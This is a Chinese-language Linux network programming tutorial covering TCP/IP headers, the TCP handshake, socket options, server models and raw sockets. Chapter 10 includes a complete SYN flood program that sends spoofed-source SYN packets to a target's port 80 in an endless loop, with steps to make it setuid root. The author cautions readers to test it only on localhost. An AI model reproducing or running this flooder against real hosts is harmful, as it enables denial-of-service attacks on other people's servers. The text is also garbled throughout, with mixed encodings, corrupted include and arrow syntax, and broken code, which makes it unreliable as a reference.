你也許聽(tīng)說(shuō)過(guò)TCP/IP協(xié)議,那么你知道到底什么是TCP,什么是IP嗎?在這一章里面,我們一
起來(lái)學(xué)習這個(gè)目前網(wǎng)絡(luò )上用最廣泛的協(xié)議.
7.1 網(wǎng)絡(luò )傳輸分層
如果你考過(guò)計算機等級考試,那么你就應該已經(jīng)知道了網(wǎng)絡(luò )傳輸分層這個(gè)概念.在網(wǎng)絡(luò )上
,人們?yōu)榱藗鬏敂祿r(shí)的方便,把網(wǎng)絡(luò )的傳輸分為7個(gè)層次.分別是:應用層,表示層,會(huì )話(huà)層
,傳輸層,網(wǎng)絡(luò )層,數據鏈路層和物理層.分好了層以后,傳輸數據時(shí),上一層如果要數據的
話(huà),就可以直接向下一層要了,而不必要管數據傳輸的細節.下一層也只向它的上一層提供
數據,而不要去管其它東西了.如果你不想考試,你沒(méi)有必要去記這些東西的.只要知道是
分層的,而且各層的作用不同.
7.2 IP協(xié)議
IP協(xié)議是在網(wǎng)絡(luò )層的協(xié)議.它主要完成數據包的發(fā)送作用. 下面這個(gè)表是IP4的數據包格
式
0 4 8 16 32
--------------------------------------------------
|版本 |首部長(cháng)度|服務(wù)類(lèi)型| 數據包總長(cháng) |
--------------------------------------------------
| 標識 |DF |MF| 碎片偏移 |
--------------------------------------------------
| 生存時(shí)間 | 協(xié)議 | 首部較驗和 |
------------------------------------------------
| 源IP地址 |
------------------------------------------------
| 目的IP地址 |
-------------------------------------------------
| 選項 |
=================================================
| 數據 |
-------------------------------------------------
下面我們看一看IP的結構定義<netinet/ip.h>;
struct ip
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
unsigned int ip_hl:4; /* header length */
unsigned int ip_v:4; /* version */
#endif
#if __BYTE_ORDER == __BIG_ENDIAN
unsigned int ip_v:4; /* version */
unsigned int ip_hl:4; /* header length */
#endif
u_int8_t ip_tos; /* type of service */
u_short ip_len; /* total length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset field */
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
u_int8_t ip_ttl; /* time to live */
u_int8_t ip_p; /* protocol */
u_short ip_sum; /* checksum */
struct in_addr ip_src, ip_dst; /* source and dest address */
};
ip_vIP協(xié)議的版本號,這里是4,現在IPV6已經(jīng)出來(lái)了
ip_hlIP包首部長(cháng)度,這個(gè)值以4字節為單位.IP協(xié)議首部的固定長(cháng)度為20個(gè)字節,如果IP包
沒(méi)有選項,那么這個(gè)值為5.
ip_tos服務(wù)類(lèi)型,說(shuō)明提供的優(yōu)先權.
ip_len說(shuō)明IP數據的長(cháng)度.以字節為單位.
ip_id標識這個(gè)IP數據包.
ip_off碎片偏移,這和上面ID一起用來(lái)重組碎片的.
ip_ttl生存時(shí)間.沒(méi)經(jīng)過(guò)一個(gè)路由的時(shí)候減一,直到為0時(shí)被拋棄.
ip_p協(xié)議,表示創(chuàng )建這個(gè)IP數據包的高層協(xié)議.如TCP,UDP協(xié)議.
ip_sum首部校驗和,提供對首部數據的校驗.
ip_src,ip_dst發(fā)送者和接收者的IP地址
關(guān)于IP協(xié)議的詳細情況,請參考 RFC791
7.3 ICMP協(xié)議
ICMP是消息控制協(xié)議,也處于網(wǎng)絡(luò )層.在網(wǎng)絡(luò )上傳遞IP數據包時(shí),如果發(fā)生了錯誤,那么就
會(huì )用ICMP協(xié)議來(lái)報告錯誤.
ICMP包的結構如下:
0 8 16 32
---------------------------------------------------------------------
| 類(lèi)型 | 代碼 | 校驗和 |
--------------------------------------------------------------------
| 數據 | 數據 |
--------------------------------------------------------------------
ICMP在<netinet/ip_icmp.h>;中的定義是
struct icmphdr
{
u_int8_t type; /* message type */
u_int8_t code; /* type sub-code */
u_int16_t checksum;
union
{
struct
{
u_int16_t id;
u_int16_t sequence;
} echo; /* echo datagram */
u_int32_t gateway; /* gateway address */
struct
{
u_int16_t __unused;
u_int16_t mtu;
} frag; /* path mtu discovery */
} un;
};
關(guān)于ICMP協(xié)議的詳細情況可以查看 RFC792
7.4 UDP協(xié)議
UDP協(xié)議是建立在IP協(xié)議基礎之上的,用在傳輸層的協(xié)議.UDP和IP協(xié)議一樣是不可靠的數
據報服務(wù).UDP的頭格式為:
0 16 32
---------------------------------------------------
| UDP源端口 | UDP目的端口 |
---------------------------------------------------
| UDP數據報長(cháng)度 | UDP數據報校驗 |
---------------------------------------------------
UDP結構在<netinet/udp.h>;中的定義為:
struct udphdr {
u_int16_t source;
u_int16_t dest;
u_int16_t len;
u_int16_t check;
};
關(guān)于UDP協(xié)議的詳細情況,請參考 RFC768
7.5 TCP
TCP協(xié)議也是建立在IP協(xié)議之上的,不過(guò)TCP協(xié)議是可靠的.按照順序發(fā)送的.TCP的數據結
構比前面的結構都要復雜.
0 4 8 10 16 24 32
-------------------------------------------------------------------
| 源端口 | 目的端口 |
-------------------------------------------------------------------
| 序列號 |
------------------------------------------------------------------
| 確認號 |
------------------------------------------------------------------
| | |U|A|P|S|F| |
|首部長(cháng)度| 保留 |R|C|S|Y|I| 窗口 |
| | |G|K|H|N|N| |
-----------------------------------------------------------------
| 校驗和 | 緊急指針 |
-----------------------------------------------------------------
| 選項 | 填充字節 |
-----------------------------------------------------------------
TCP的結構在<netinet/tcp.h>;中定義為:
struct tcphdr
{
u_int16_t source;
u_int16_t dest;
u_int32_t seq;
u_int32_t ack_seq;
#if __BYTE_ORDER == __LITTLE_ENDIAN
u_int16_t res1:4;
u_int16_t doff:4;
u_int16_t fin:1;
u_int16_t syn:1;
u_int16_t rst:1;
u_int16_t psh:1;
u_int16_t ack:1;
u_int16_t urg:1;
u_int16_t res2:2;
#elif __BYTE_ORDER == __BIG_ENDIAN
u_int16_t doff:4;
u_int16_t res1:4;
u_int16_t res2:2;
u_int16_t urg:1;
u_int16_t ack:1;
u_int16_t psh:1;
u_int16_t rst:1;
u_int16_t syn:1;
u_int16_t fin:1;
#endif
u_int16_t window;
u_int16_t check;
u_int16_t urg_prt;
};
source發(fā)送TCP數據的源端口
dest接受TCP數據的目的端口
seq標識該TCP所包含的數據字節的開(kāi)始序列號
ack_seq確認序列號,表示接受方下一次接受的數據序列號.
doff數據首部長(cháng)度.和IP協(xié)議一樣,以4字節為單位.一般的時(shí)候為5
urg如果設置緊急數據指針,則該位為1
ack如果確認號正確,那么為1
psh如果設置為1,那么接收方收到數據后,立即交給上一層程序
rst為1的時(shí)候,表示請求重新連接
syn為1的時(shí)候,表示請求建立連接
fin為1的時(shí)候,表示親戚關(guān)閉連接
window窗口,告訴接收者可以接收的大小
check對TCP數據進(jìn)行較核
urg_ptr如果urg=1,那么指出緊急數據對于歷史數據開(kāi)始的序列號的偏移值
關(guān)于TCP協(xié)議的詳細情況,請查看 RFC793
7.6 TCP連接的建立
TCP協(xié)議是一種可靠的連接,為了保證連接的可靠性,TCP的連接要分為幾個(gè)步驟.我們把這
個(gè)連接過(guò)程稱(chēng)為"三次握手".
下面我們從一個(gè)實(shí)例來(lái)分析建立連接的過(guò)程.
第一步客戶(hù)機向服務(wù)器發(fā)送一個(gè)TCP數據包,表示請求建立連接. 為此,客戶(hù)端將數據包的
SYN位設置為1,并且設置序列號seq=1000(我們假設為1000).
第二步服務(wù)器收到了數據包,并從SYN位為1知道這是一個(gè)建立請求的連接.于是服務(wù)器也
向客戶(hù)端發(fā)送一個(gè)TCP數據包.因為是響應客戶(hù)機的請求,于是服務(wù)器設置ACK為1,sak_se
q=1001(1000+1)同時(shí)設置自己的序列號.seq=2000(我們假設為2000).
第三步客戶(hù)機收到了服務(wù)器的TCP,并從ACK為1和ack_seq=1001知道是從服務(wù)器來(lái)的確認
信息.于是客戶(hù)機也向服務(wù)器發(fā)送確認信息.客戶(hù)機設置ACK=1,和ack_seq=2001,seq=100
1,發(fā)送給服務(wù)器.至此客戶(hù)端完成連接.
最后一步服務(wù)器受到確認信息,也完成連接.
通過(guò)上面幾個(gè)步驟,一個(gè)TCP連接就建立了.當然在建立過(guò)程中可能出現錯誤,不過(guò)TCP協(xié)議
可以保證自己去處理錯誤的.
說(shuō)一說(shuō)其中的一種錯誤.
聽(tīng)說(shuō)過(guò)DOS嗎?(可不是操作系統啊).今年春節的時(shí)候,美國的五大網(wǎng)站一起受到攻擊.攻
擊者用的就是DOS(拒絕式服務(wù))方式.概括的說(shuō)一下原理.
客戶(hù)機先進(jìn)行第一個(gè)步驟.服務(wù)器收到后,進(jìn)行第二個(gè)步驟.按照正常的TCP連接,客戶(hù)機
應該進(jìn)行第三個(gè)步驟.
不過(guò)攻擊者實(shí)際上并不進(jìn)行第三個(gè)步驟.因為客戶(hù)端在進(jìn)行第一個(gè)步驟的時(shí)候,修改了自
己的IP地址,就是說(shuō)將一個(gè)實(shí)際上不存在的IP填充在自己IP數據包的發(fā)送者的IP一欄.這
樣因為服務(wù)器發(fā)的IP地址沒(méi)有人接收,所以服務(wù)端會(huì )收不到第三個(gè)步驟的確認信號,這樣
服務(wù)務(wù)端會(huì )在那邊一直等待,直到超時(shí).
這樣當有大量的客戶(hù)發(fā)出請求后,服務(wù)端會(huì )有大量等待,直到所有的資源被用光,而不能再
接收客戶(hù)機的請求.
這樣當正常的用戶(hù)向服務(wù)器發(fā)出請求時(shí),由于沒(méi)有了資源而不能成功.于是就出現了春節
時(shí)所出現的情況.
----------------------------------------------------------------------------
網(wǎng)絡(luò )編程(8)
8. 套接字選項
有時(shí)候我們要控制套接字的行為(如修改緩沖區的大小),這個(gè)時(shí)候我們就要控制套接字的
選項了.
8.1 getsockopt和setsockopt
int getsockopt(int sockfd,int level,int optname,void *optval,socklen_t *optl
en)
int setsockopt(int sockfd,int level,int optname,const void *optval,socklen_t
*optlen)
level指定控制套接字的層次.可以取三種值: 1)SOL_SOCKET:通用套接字選項. 2)IPPRO
TO_IP:IP選項. 3)IPPROTO_TCP:TCP選項.
optname指定控制的方式(選項的名稱(chēng)),我們下面詳細解釋
optval獲得或者是設置套接字選項.根據選項名稱(chēng)的數據類(lèi)型進(jìn)行轉換
選項名稱(chēng) 說(shuō)明 數據類(lèi)型
========================================================================
SOL_SOCKET
------------------------------------------------------------------------
SO_BROADCAST 允許發(fā)送廣播數據 int
SO_DEBUG 允許調試 int
SO_DONTROUTE 不查找路由 int
SO_ERROR 獲得套接字錯誤 int
SO_KEEPALIVE 保持連接 int
SO_LINGER 延遲關(guān)閉連接 struct linge
r
SO_OOBINLINE 帶外數據放入正常數據流 int
SO_RCVBUF 接收緩沖區大小 int
SO_SNDBUF 發(fā)送緩沖區大小 int
SO_RCVLOWAT 接收緩沖區下限 int
SO_SNDLOWAT 發(fā)送緩沖區下限 int
SO_RCVTIMEO 接收超時(shí) struct timev
al
SO_SNDTIMEO 發(fā)送超時(shí) struct timev
al
SO_REUSERADDR 允許重用本地地址和端口 int
SO_TYPE 獲得套接字類(lèi)型 int
SO_BSDCOMPAT 與BSD系統兼容 int
==========================================================================
IPPROTO_IP
--------------------------------------------------------------------------
IP_HDRINCL 在數據包中包含IP首部 int
IP_OPTINOS IP首部選項 int
IP_TOS 服務(wù)類(lèi)型
IP_TTL 生存時(shí)間 int
==========================================================================
IPPRO_TCP
--------------------------------------------------------------------------
TCP_MAXSEG TCP最大數據段的大小 int
TCP_NODELAY 不使用Nagle算法 int
=========================================================================
關(guān)于這些選項的詳細情況請查看 Linux Programmer‘s Manual
8.2 ioctl
ioctl可以控制所有的文件描述符的情況,這里介紹一下控制套接字的選項.
int ioctl(int fd,int req,...)
==========================================================================
ioctl的控制選項
--------------------------------------------------------------------------
SIOCATMARK 是否到達帶外標記 int
FIOASYNC 異步輸入/輸出標志 int
FIONREAD 緩沖區可讀的字節數 int
==========================================================================
詳細的選項請用 man ioctl_list 查看.
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網(wǎng)絡(luò )編程(9)
9. 服務(wù)器模型
學(xué)習過(guò)《軟件工程》吧.軟件工程可是每一個(gè)程序員"必修"的課程啊.如果你沒(méi)有學(xué)習過(guò)
, 建議你去看一看. 在這一章里面,我們一起來(lái)從軟件工程的角度學(xué)習網(wǎng)絡(luò )編程的思想.
在我們寫(xiě)程序之前, 我們都應該從軟件工程的角度規劃好我們的軟件,這樣我們開(kāi)發(fā)軟件
的效率才會(huì )高. 在網(wǎng)絡(luò )程序里面,一般的來(lái)說(shuō)都是許多客戶(hù)機對應一個(gè)服務(wù)器.為了處理
客戶(hù)機的請求, 對服務(wù)端的程序就提出了特殊的要求.我們學(xué)習一下目前最常用的服務(wù)器
模型.
循環(huán)服務(wù)器:循環(huán)服務(wù)器在同一個(gè)時(shí)刻只可以響應一個(gè)客戶(hù)端的請求
并發(fā)服務(wù)器:并發(fā)服務(wù)器在同一個(gè)時(shí)刻可以響應多個(gè)客戶(hù)端的請求
9.1 循環(huán)服務(wù)器:UDP服務(wù)器
UDP循環(huán)服務(wù)器的實(shí)現非常簡(jiǎn)單:UDP服務(wù)器每次從套接字上讀取一個(gè)客戶(hù)端的請求,處理
, 然后將結果返回給客戶(hù)機.
可以用下面的算法來(lái)實(shí)現.
socket(...);
bind(...);
while(1)
{
recvfrom(...);
process(...);
sendto(...);
}
因為UDP是非面向連接的,沒(méi)有一個(gè)客戶(hù)端可以老是占住服務(wù)端. 只要處理過(guò)程不是死循
環(huán), 服務(wù)器對于每一個(gè)客戶(hù)機的請求總是能夠滿(mǎn)足.
9.2 循環(huán)服務(wù)器:TCP服務(wù)器
TCP循環(huán)服務(wù)器的實(shí)現也不難:TCP服務(wù)器接受一個(gè)客戶(hù)端的連接,然后處理,完成了這個(gè)客
戶(hù)的所有請求后,斷開(kāi)連接.
算法如下:
socket(...);
bind(...);
listen(...);
while(1)
{
accept(...);
while(1)
{
read(...);
process(...);
write(...);
}
close(...);
}
TCP循環(huán)服務(wù)器一次只能處理一個(gè)客戶(hù)端的請求.只有在這個(gè)客戶(hù)的所有請求都滿(mǎn)足后,
服務(wù)器才可以繼續后面的請求.這樣如果有一個(gè)客戶(hù)端占住服務(wù)器不放時(shí),其它的客戶(hù)機
都不能工作了.因此,TCP服務(wù)器一般很少用循環(huán)服務(wù)器模型的.
9.3 并發(fā)服務(wù)器:TCP服務(wù)器
為了彌補循環(huán)TCP服務(wù)器的缺陷,人們又想出了并發(fā)服務(wù)器的模型. 并發(fā)服務(wù)器的思想是
每一個(gè)客戶(hù)機的請求并不由服務(wù)器直接處理,而是服務(wù)器創(chuàng )建一個(gè) 子進(jìn)程來(lái)處理.
算法如下:
socket(...);
bind(...);
listen(...);
while(1)
{
accept(...);
if(fork(..)==0)
{
while(1)
{
read(...);
process(...);
write(...);
}
close(...);
exit(...);
}
close(...);
}
TCP并發(fā)服務(wù)器可以解決TCP循環(huán)服務(wù)器客戶(hù)機獨占服務(wù)器的情況. 不過(guò)也同時(shí)帶來(lái)了一
個(gè)不小的問(wèn)題.為了響應客戶(hù)機的請求,服務(wù)器要創(chuàng )建子進(jìn)程來(lái)處理. 而創(chuàng )建子進(jìn)程是一
種非常消耗資源的操作.
9.4 并發(fā)服務(wù)器:多路復用I/O
為了解決創(chuàng )建子進(jìn)程帶來(lái)的系統資源消耗,人們又想出了多路復用I/O模型.
首先介紹一個(gè)函數select
int select(int nfds,fd_set *readfds,fd_set *writefds,
fd_set *except fds,struct timeval *timeout)
void FD_SET(int fd,fd_set *fdset)
void FD_CLR(int fd,fd_set *fdset)
void FD_ZERO(fd_set *fdset)
int FD_ISSET(int fd,fd_set *fdset)
一般的來(lái)說(shuō)當我們在向文件讀寫(xiě)時(shí),進(jìn)程有可能在讀寫(xiě)出阻塞,直到一定的條件滿(mǎn)足. 比
如我們從一個(gè)套接字讀數據時(shí),可能緩沖區里面沒(méi)有數據可讀(通信的對方還沒(méi)有 發(fā)送數
據過(guò)來(lái)),這個(gè)時(shí)候我們的讀調用就會(huì )等待(阻塞)直到有數據可讀.如果我們不 希望阻塞
,我們的一個(gè)選擇是用select系統調用. 只要我們設置好select的各個(gè)參數,那么當文件
可以讀寫(xiě)的時(shí)候select回"通知"我們 說(shuō)可以讀寫(xiě)了. readfds所有要讀的文件文件描述
符的集合
writefds所有要的寫(xiě)文件文件描述符的集合
exceptfds其他的服要向我們通知的文件描述符
timeout超時(shí)設置.
nfds所有我們監控的文件描述符中最大的那一個(gè)加1
在我們調用select時(shí)進(jìn)程會(huì )一直阻塞直到以下的一種情況發(fā)生. 1)有文件可以讀.2)有文
件可以寫(xiě).3)超時(shí)所設置的時(shí)間到.
為了設置文件描述符我們要使用幾個(gè)宏. FD_SET將fd加入到fdset
FD_CLR將fd從fdset里面清除
FD_ZERO從fdset中清除所有的文件描述符
FD_ISSET判斷fd是否在fdset集合中
使用select的一個(gè)例子
int use_select(int *readfd,int n)
{
fd_set my_readfd;
int maxfd;
int i;
maxfd=readfd[0];
for(i=1;i<n;i++)
if(readfd>;maxfd) maxfd=readfd;
while(1)
{
/* 將所有的文件描述符加入 */
FD_ZERO(&my_readfd);
for(i=0;i<n;i++)
FD_SET(readfd,*my_readfd);
/* 進(jìn)程阻塞 */
select(maxfd+1,& my_readfd,NULL,NULL,NULL);
/* 有東西可以讀了 */
for(i=0;i<n;i++)
if(FD_ISSET(readfd,&my_readfd))
{
/* 原來(lái)是我可以讀了 */
we_read(readfd);
}
}
}
使用select后我們的服務(wù)器程序就變成了.
初始話(huà)(socket,bind,listen);
while(1)
{
設置監聽(tīng)讀寫(xiě)文件描述符(FD_*);
調用select;
如果是傾聽(tīng)套接字就緒,說(shuō)明一個(gè)新的連接請求建立
{
建立連接(accept);
加入到監聽(tīng)文件描述符中去;
}
否則說(shuō)明是一個(gè)已經(jīng)連接過(guò)的描述符
{
進(jìn)行操作(read或者write);
}
}
多路復用I/O可以解決資源限制的問(wèn)題.著(zhù)模型實(shí)際上是將UDP循環(huán)模型用在了TCP上面.
這也就帶來(lái)了一些問(wèn)題.如由于服務(wù)器依次處理客戶(hù)的請求,所以可能會(huì )導致有的客戶(hù) 會(huì )
等待很久.
9.5 并發(fā)服務(wù)器:UDP服務(wù)器
人們把并發(fā)的概念用于UDP就得到了并發(fā)UDP服務(wù)器模型. 并發(fā)UDP服務(wù)器模型其實(shí)是簡(jiǎn)單
的.和并發(fā)的TCP服務(wù)器模型一樣是創(chuàng )建一個(gè)子進(jìn)程來(lái)處理的 算法和并發(fā)的TCP模型一樣
..
除非服務(wù)器在處理客戶(hù)端的請求所用的時(shí)間比較長(cháng)以外,人們實(shí)際上很少用這種模型.
9.6 一個(gè)并發(fā)TCP服務(wù)器實(shí)例
＃i nclude <sys/socket.h>;
＃i nclude <sys/types.h>;
＃i nclude <netinet/in.h>;
＃i nclude <string.h>;
＃i nclude <errno.h>;
#define MY_PORT 8888
int main(int argc ,char **argv)
{
int listen_fd,accept_fd;
struct sockaddr_in client_addr;
int n;
if((listen_fd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Socket Error:%s\n\a",strerror(errno));
exit(1);
}
bzero(&client_addr,sizeof(struct sockaddr_in));
client_addr.sin_family=AF_INET;
client_addr.sin_port=htons(MY_PORT);
client_addr.sin_addr.s_addr=htonl(INADDR_ANY);
n=1;
/* 如果服務(wù)器終止后,服務(wù)器可以第二次快速啟動(dòng)而不用等待一段時(shí)間 */
setsockopt(listen_fd,SOL_SOCKET,SO_REUSEADDR,&n,sizeof(int));
if(bind(listen_fd,(struct sockaddr *)&client_addr,sizeof(client_addr))<0)
{
printf("Bind Error:%s\n\a",strerror(errno));
exit(1);
}
listen(listen_fd,5);
while(1)
{
accept_fd=accept(listen_fd,NULL,NULL);
if((accept_fd<0)&&(errno==EINTR))
continue;
else if(accept_fd<0)
{
printf("Accept Error:%s\n\a",strerror(errno));
continue;
}
if((n=fork())==0)
{
/* 子進(jìn)程處理客戶(hù)端的連接 */
char buffer[1024];
close(listen_fd);
n=read(accept_fd,buffer,1024);
write(accept_fd,buffer,n);
close(accept_fd);
exit(0);
}
else if(n<0)
printf("Fork Error:%s\n\a",strerror(errno));
close(accept_fd);
}
}
你可以用我們前面寫(xiě)客戶(hù)端程序來(lái)調試著(zhù)程序,或者是用來(lái)telnet調試
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網(wǎng)絡(luò )編程(10)
10. 原始套接字
我們在前面已經(jīng)學(xué)習過(guò)了網(wǎng)絡(luò )程序的兩種套接字(SOCK_STREAM,SOCK_DRAGM).在這一章
里面我們一起來(lái)學(xué)習另外一種套接字--原始套接字(SOCK_RAW). 應用原始套接字,我們可
以編寫(xiě)出由TCP和UDP套接字不能夠實(shí)現的功能. 注意原始套接字只能夠由有root權限的
人創(chuàng )建.
10.1 原始套接字的創(chuàng )建
int sockfd(AF_INET,SOCK_RAW,protocol)
可以創(chuàng )建一個(gè)原始套接字.根據協(xié)議的類(lèi)型不同我們可以創(chuàng )建不同類(lèi)型的原始套接字 比
如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.詳細的情況查看 <netinet/in.h>; 下
面我們以一個(gè)實(shí)例來(lái)說(shuō)明原始套接字的創(chuàng )建和使用
10.2 一個(gè)原始套接字的實(shí)例
還記得DOS是什么意思嗎?在這里我們就一起來(lái)編寫(xiě)一個(gè)實(shí)現DOS的小程序. 下面是程序的
源代碼
/******************** DOS.c *****************/
＃i nclude <sys/socket.h>;
＃i nclude <netinet/in.h>;
＃i nclude <netinet/ip.h>;
＃i nclude <netinet/tcp.h>;
＃i nclude <stdlib.h>;
＃i nclude <errno.h>;
＃i nclude <unistd.h>;
＃i nclude <stdio.h>;
＃i nclude <netdb.h>;
#define DESTPORT 80 /* 要攻擊的端口(WEB) */
#define LOCALPORT 8888
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;
if(argc!=2)
{
fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->;h_addr_list[0]);
}
/**** 使用IPPROTO_TCP創(chuàng )建一個(gè)TCP的原始套接字 ****/
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
exit(1);
}
/******** 設置IP數據包格式,告訴系統內核模塊IP數據包由我們自己來(lái)填寫(xiě) ***/
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
/**** 沒(méi)有辦法,只用超級護用戶(hù)才可以使用原始套接字 *********/
setuid(getpid());
/********* 發(fā)送炸彈了!!!! ****/
send_tcp(sockfd,&addr);
}
/******* 發(fā)送炸彈的實(shí)現 *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100]; /**** 用來(lái)放置我們的數據包 ****/
struct ip *ip;
struct tcphdr *tcp;
int head_len;
/******* 我們的數據包實(shí)際上沒(méi)有任何內容,所以長(cháng)度就是兩個(gè)結構的長(cháng)度 ***/
head_len=sizeof(struct ip)+sizeof(struct tcphdr);
bzero(buffer,100);
/******** 填充IP數據包的頭部,還記得IP的頭格式嗎? ******/
ip=(struct ip *)buffer;
ip->;ip_v=IPVERSION; /** 版本一般的是 4 **/
ip->;ip_hl=sizeof(struct ip)>;>;2; /** IP數據包的頭部長(cháng)度 **/
ip->;ip_tos=0; /** 服務(wù)類(lèi)型 **/
ip->;ip_len=htons(head_len); /** IP數據包的長(cháng)度 **/
ip->;ip_id=0; /** 讓系統去填寫(xiě)吧 **/
ip->;ip_off=0; /** 和上面一樣,省點(diǎn)時(shí)間 **/
ip->;ip_ttl=MAXTTL; /** 最長(cháng)的時(shí)間 255 **/
ip->;ip_p=IPPROTO_TCP; /** 我們要發(fā)的是 TCP包 **/
ip->;ip_sum=0; /** 校驗和讓系統去做 **/
ip->;ip_dst=addr->;sin_addr; /** 我們攻擊的對象 **/
/******* 開(kāi)始填寫(xiě)TCP數據包 *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->;source=htons(LOCALPORT);
tcp->;dest=addr->;sin_port; /** 目的端口 **/
tcp->;seq=random();
tcp->;ack_seq=0;
tcp->;doff=5;
tcp->;syn=1; /** 我要建立連接 **/
tcp->;check=0;
/** 好了,一切都準備好了.服務(wù)器,你準備好了沒(méi)有?? ^_^ **/
while(1)
{
/** 你不知道我是從那里來(lái)的,慢慢的去等吧! **/
ip->;ip_src.s_addr=random();
/** 什么都讓系統做了,也沒(méi)有多大的意思,還是讓我們自己來(lái)校驗頭部吧 */
/** 下面這條可有可無(wú) */
tcp->;check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
}
}
/* 下面是首部校驗和的算法,偷了別人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;
while(nleft>;1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>;>;16)+(sum&0xffff);
sum+=(sum>;>;16);
answer=~sum;
return(answer);
}
編譯一下,拿localhost做一下實(shí)驗,看看有什么結果.(千萬(wàn)不要試別人的啊). 為了讓普
通用戶(hù)可以運行這個(gè)程序,我們應該將這個(gè)程序的所有者變?yōu)閞oot,且 設置setuid位
[root@hoyt /root]#chown root DOS
[root@hoyt /root]#chmod +s DOS
10.3 總結
原始套接字和一般的套接字不同的是以前許多由系統做的事情,現在要由我們自己來(lái)做了
.. 不過(guò)這里面是不是有很多的樂(lè )趣呢. 當我們創(chuàng )建了一個(gè)TCP套接字的時(shí)候,我們只是負
責把我們要發(fā)送的內容(buffer)傳遞給了系統. 系統在收到我們的數據后,回自動(dòng)的調用
相應的模塊給數據加上TCP頭部,然后加上IP頭部. 再發(fā)送出去.而現在是我們自己創(chuàng )建各
個(gè)的頭部,系統只是把它們發(fā)送出去. 在上面的實(shí)例中,由于我們要修改我們的源IP地址
,所以我們使用了setsockopt函數,如果我們只是修改TCP數據,那么IP數據一樣也可以由
系統來(lái)創(chuàng )建的.
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網(wǎng)絡(luò )編程(11)
11. 后記
總算完成了網(wǎng)絡(luò )編程這個(gè)教程.算起來(lái)我差不多寫(xiě)了一個(gè)星期,原來(lái)以為寫(xiě)這個(gè)應該是
一件 不難的事,做起來(lái)才知道原來(lái)有很多的地方都比我想象的要難.我還把很多的東西都
省略掉了 不過(guò)寫(xiě)完了這篇教程以后,我好象對網(wǎng)絡(luò )的認識又增加了一步.
如果我們只是編寫(xiě)一般的 網(wǎng)絡(luò )程序還是比較容易的,但是如果我們想寫(xiě)出比較好的網(wǎng)
絡(luò )程序我們還有著(zhù)遙遠的路要走. 網(wǎng)絡(luò )程序一般的來(lái)說(shuō)都是多進(jìn)程加上多線(xiàn)程的.為了處
理好他們內部的關(guān)系,我們還要學(xué)習 進(jìn)程之間的通信.在網(wǎng)絡(luò )程序里面有著(zhù)許許多多的突
發(fā)事件,為此我們還要去學(xué)習更高級的 事件處理知識.現在的信息越來(lái)越多了,為了處理
好這些信息,我們還要去學(xué)習數據庫. 如果要編寫(xiě)出有用的黑客軟件,我們還要去熟悉各
種網(wǎng)絡(luò )協(xié)議.總之我們要學(xué)的東西還很多很多.
看一看外國的軟件水平,看一看印度的軟件水平,寶島臺灣的水平,再看一看我們自己的
軟件水平大家就會(huì )知道了什么叫做差距.我們現在用的軟件有幾個(gè)是我們中國人自己編
寫(xiě)的.
不過(guò)大家不要害怕,不用擔心.只要我們還是清醒的,還能夠認清我們和別人的差距, 我
們就還有希望. 畢竟我們現在還年輕.只要我們努力,認真的去學(xué)習,我們一定能夠學(xué)好的
..我們就可以追上別人直到超過(guò)別人!
相信一點(diǎn):
別人可以做到的我們一樣可以做到,而且可以比別人做的更好!
勇敢的年輕人,為了我們偉大祖國的軟件產(chǎn)業(yè),為了祖國的未來(lái),努力的去奮斗吧!祖國
會(huì )記住你們的!
hoyt
11.1 參考資料
<<實(shí)用UNIX編程>;>;---機械工業(yè)出版社.
<<Linux網(wǎng)絡(luò )編程>;>;--清華大學(xué)出版社.
9)Linux下C開(kāi)發(fā)工具介紹
Linux的發(fā)行版中包含了很多軟件開(kāi)發(fā)工具. 它們中的很多是用于 C 和 C++應用程序開(kāi)發(fā)
的. 本文介紹了在 Linux 下能用于 C 應用程序開(kāi)發(fā)和調試的工具. 本文的主旨是介紹如
何在 Linux 下使用 C 編譯器和其他 C 編程工具, 而非 C 語(yǔ)言編程的教程.
GNU C 編譯器
GNU C 編譯器(GCC)是一個(gè)全功能的 ANSI C 兼容編譯器. 如果你熟悉其他操作系統或硬
件平臺上的一種 C 編譯器, 你將能很快地掌握 GCC. 本節將介紹如何使用 GCC 和一些
GCC 編譯器最常用的選項.
使用 GCC
通常后跟一些選項和文件名來(lái)使用 GCC 編譯器. gcc 命令的基本用法如下:
gcc [options] [filenames]
命令行選項指定的操作將在命令行上每個(gè)給出的文件上執行. 下一小節將敘述一些你會(huì )最
常用到的選項.
GCC 選項
GCC 有超過(guò)100個(gè)的編譯選項可用. 這些選項中的許多你可能永遠都不會(huì )用到, 但一些主
要的選項將會(huì )頻繁用到. 很多的 GCC 選項包括一個(gè)以上的字符. 因此你必須為每個(gè)選項
指定各自的連字符, 并且就象大多數 Linux 命令一樣你不能在一個(gè)單獨的連字符后跟一
組選項. 例如, 下面的兩個(gè)命令是不同的:
gcc -p -g test.c
